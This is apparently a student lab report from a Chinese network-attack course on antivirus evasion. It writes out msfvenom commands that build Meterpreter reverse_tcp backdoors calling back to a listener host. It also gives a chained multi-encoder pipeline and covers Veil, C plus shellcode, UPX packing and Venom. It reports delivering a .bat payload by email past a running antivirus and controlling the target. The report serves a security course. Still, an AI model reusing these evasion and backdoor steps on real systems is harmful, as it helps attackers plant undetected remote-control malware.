• 2019-2020-2 20175302闫君廷《网络对抗技术》 Exp3 免杀原理与实践


    一、实验目标:

    • 了解恶意软件检测机制
    • 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
    • 通过组合应用各种技术实现恶意代码免杀
    • 掌握将生成的免杀程序注入目标机,并回连成功

    二、预备知识:

    免杀概念

    • 一般是对恶意软件做处理,让它不被杀毒软件所检测。

    恶意软件检测机制

    • 基于特征码的检测
      • 恶意代码包含这样的数据
      • 正常程序不包含这样的数据
      • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
    • 启发式恶意软件检测
      • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
      • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
      • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测
      • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    免杀原理及技术

    改变特征码

    • 只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)

    改变行为

    • 通讯方式
      • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
      • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
      • 加密通讯数据:如使用reverse-https进行转发
    • 操作模式
      • 基于内存操作:meterpreter是基于内存操作的操作的
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

    三、实验步骤:

    1. 正确使用MSF编辑器

    MSF编辑器msfvenom
    -h查看帮助:

    在实验二中,已经使用过一次msfvenom来编辑后门程序:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe
    使用msf-virustotal -f 5302exp2_backdoor.exe将文件上传到VirusTotal上进行扫描:

    -e用编码器进行编码并进行扫描:

    -i编码十次并进行扫描

    2. msfvenom生成入jar之类的其他文件

    msfvenom -l payload查看可用的payload

    选择-p java/meterpreter/reverse_tcp生成jar文件并进行检测

    选择-p php/meterpreter/reverse_tcp生成php文件

    3. Veil的使用

    按照提示安装Veil
    启动veil
    use 1进入veil-evasion

    list查看所有可用的payload
    use [payload_number]选择某个payload使用
    set [选项] [参数]修改options
    generate开始生成文件
    过程中给文件起名


    对veil生成的pwShell_rev_tcp文件进行检测

    4. C+Shellcode

    使用msfvenom生成一个shellcode

    创建一个.c文件,将buf[]放入
    使用mingw32工具进行编译
    我用了两种编译器g++和gcc,扫描效果上是差不多的,但是不知道为什么都无法在Windows主机上运行。

    5. 加壳

    对刚才编译生成的文件进行加壳
    upx shell_5302.exe -o shell_5302_upxed.exe
    检测效果:

    6. 使用其他课堂未介绍方法:

    花式编码:
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.0.108 LPORT=5302 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x QQ.exe -k -f exe > encoder_times.exe
    实际没啥用。。。

    msfconsole:
    使用msfconsole生成:
    这个跟msfvenome是一样的,最后使用generate [选项] [参数]就可以生成了。

    Venom:

    用Venom生成一个dll,使用rundll32.exe运行
    不报毒,回连成功之后也不报毒,但是会自动关闭

    生成了一个apk,手机回连也成功了。

    7. 通过组合各种技术实现恶意代码免杀:

    用了一个最简单的codeblock编译shellcode
    跟前面C+shellcode一样的,不过效果好一点。

    8. 用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本:

    用Venom中的这个Agent

    生成了一个.bat文件,通过QQ邮箱发送压缩后的文件,在目标机中下载解压没有查杀

    回连成功,可以查看桌面文件,新建文件夹,编辑文件等操作,无法进行截屏操作。


    四、实验体会:

    1. 实验过程中遇到的问题:

    1. veil安装出现了一些问题,解决方法:
        remove整个veil,并重新install,然后就好了。。。
    2. 前面说到的mingw32编译的无法在Windows主机中运行,ruby生成的EXE也无法在Windows中运行。
        暂无解决方案
    3. msfvenom中大量的payload不知道怎么使用,以后慢慢尝试

    2. 实验体会:

    生成一个能够回连的后门程序时蛮有意思的一件事情,但是以现在的知识水平能够生成的程序还不足以完全越过杀毒软件,还要多多学习。

    五、问题回答

    1. 杀软是如何检测出恶意代码的?

    • 基于特征码的检测
      • 恶意代码包含这样的数据
      • 正常程序不包含这样的数据
      • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
    • 启发式恶意软件检测
      • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
      • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
      • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测
      • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2. 免杀是做什么?

    对恶意软件做处理,让它不被杀毒软件所检测。

    3. 免杀的基本方法有哪些?

    从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有三大类:

    • 非常规方法:纯手工打造、社工类攻击。

    • 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。

    • 改变行为:使用反弹连接、隧道技术、加密通讯数据等。

    4. 开启杀软能绝对防止电脑中恶意代码吗?

    不能绝对,因为总有些0day的恶意代码可能被创造出来并注入,可能有能够隐藏自己行为的恶意代码。

  • 相关阅读:
    【Linux开发】Linux及Arm-Linux程序开发笔记(零基础入门篇)
    【Linux开发】Linux及Arm-Linux程序开发笔记(零基础入门篇)
    【Linux开发】Linux启动脚本设置
    【Linux开发】Linux启动脚本设置
    【Qt开发】【Linux开发】调试记录:QFontDatabase::loadFromCache Error
    【Qt开发】【Linux开发】调试记录:QFontDatabase::loadFromCache Error
    【Linux开发】【Qt开发】ARM QT移植详细步骤教程
    【Linux开发】【Qt开发】ARM QT移植详细步骤教程
    【linux开发】apt源设置
    【linux开发】apt源设置
  • 原文地址:https://www.cnblogs.com/Jerrold-Y/p/12605505.html
Copyright © 2020-2023  润新知